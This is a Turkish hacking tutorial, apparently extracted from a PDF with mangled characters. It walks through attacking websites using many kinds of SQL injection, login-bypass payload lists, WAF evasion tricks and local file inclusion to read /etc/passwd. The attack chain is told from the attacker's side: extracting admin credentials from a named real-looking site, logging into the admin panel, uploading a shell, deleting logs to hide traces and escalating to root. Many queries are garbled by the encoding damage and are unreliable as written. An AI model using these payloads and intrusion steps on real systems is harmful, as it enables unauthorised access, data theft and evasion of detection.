Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz
Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Hexlenecek ad admin
Hexlenmiş hali 61646d696e
Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--
Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz
Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--
Sorguyu goumlnderdik
Username admin
Password bugres
Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur
UsernamePassword Char Code Ccedilevrilmiş Hali
StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)
Char Code halini group_concat() fonksiyonunun arasına yazıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--
Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz
12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)
Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi
Tekrar hatırlayalım
Uname admin
Pword bugres
Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız
Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim
Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır
Wordpress Admin panel yolu wp-admin
Joomla admin panel yolu administrator
Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz
Tahmine başlıyoruz
wwwsayfamcomadmin -gt Error
wwwsayfamcomyoneticiphp -gt Error
wwwsayfamcomadminphp -gt Error
wwwsayfamcomlog_inphp -gt Yess P
Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz
Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz
13-Saldırı Anı7(İzlerimizi Silmek)
Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor
14-Sonuccedil
Neler yaptık
Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor
15- Kaccedil Tuumlr SQL İnjection Vardır
a-) MySql İnjection
Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız
SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut
Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım
Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı
Bu accedilığın kullanımına geccedilelim
Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam
Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22
Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun
Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş
Şimdi kolonları yansıtalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz
Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz
Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--
Sorgusunun ardından ekrana tablersquolar yansıdı
Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )
Şimdi admin tablosundaki kolonlara bakalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
Ekrana userpassmail yansıdığını farz edelim
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--
User admin
Pass 123456
Email adminparoswinescom
b-) Ms Access SQL İnjection
Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml
SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr
Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo
Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir
Microsoft JET Database Engine error rsquo80040e14rsquo
Syntax error in string in query expression rsquoid = 10rsquo
sayfaasp line 7
Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz
wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti
wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata
Microsoft JET Database Engine error rsquo80040e14rsquo
The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression
sayfaasp line 7
Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek
wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış
Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım
wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza
Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani
wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--
ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir
wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--
Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur
User mahserat
Pass bugres
c-) Blind SQL İnjection
Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz
Gene bir hedef site duumlşuumlnuumln
wwwsayfacomdosyaphpid=2 olsun
Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz
wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor
and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz
Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz
wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım
wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş
Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325
burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir
Şimdi user sutuumlnunu ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572
Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim
and substring((select user from users)11)=0x(tahmin edilen users)
and substring((select pass from users)21)=0x(tahmin edilen users)
Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz
Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir
d-) String SQL İnjection
Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani
wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor
wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz
wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim
wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok
wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil
wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor
Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi
wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )
Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr
Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox
Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde
Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Şeklinde Kadı ve Şifreyi ccedilektik
e-) SQL İnjection Login Bypass
SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım
Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl
SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere
adminrsquomdash
rsquo or 0=0 --
rsquo or rsquo 1=1
rsquo or rsquo 1
rsquo or rsquo
or 0=0 --
or 0=0 --
rsquo or 0=0
or 0=0
or 0=0
rsquo or rsquoxrsquo=rsquox
or x=x
rsquo) or (rsquoxrsquo=rsquox
rsquo or 1=1--
or 1=1--
or 1=1--
rsquo or a=a--
or a=a
rsquo) or (rsquoarsquo=rsquoa
) or (a=a
hi or a=a
hi or 1=1 --
hirsquo or 1=1 --
hirsquo or rsquoarsquo=rsquoa
hirsquo) or (rsquoarsquo=rsquoa
hi)or(a=a
Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz
lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım
Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz
Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu
f-) PostData SQL İnjection
Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl
Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan
ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz
Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza
Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz
ltform name=t1 method=POST action=loginaspxgt
Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır
Peki bu accedilığı nasıl kullanacağız
Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani
ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt
Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz
SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )
Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi
SQL İnjection Bypass
Merhaba arkadaşlar
Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur
SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir
a)
Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim
Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz
Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln
wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir
Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız
wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı
Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim
wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )
order+by+1mdashsonuna + koyduk
id=1 değerinin başına da ) koyduk
Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1orderby1--
wwwsayfamcomsayfaphpid=1+(order)+(by)+1--
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır
b)
Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim
Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim
wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık
wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız
wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip
Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız
wwwsayfamcomsayfaphpid=1+union+select+123456789--
yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım
Bir bypass da kullanabileceğimiz bazı karakter oluşumları
---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))
İlk olarak
wwwsayfamcomsayfaphpid=1+union+select+123456789--
deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))
wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)
wwwsayfamcomsayfaphpid=-1unionselect123456789--+
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -
wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+
wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--
wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--
şeklinde onlarca bypass teknikleri bulunmaktadır ))
c)
Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim
Şimdi sırada group_concat komutunun bypass edilmesinde
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
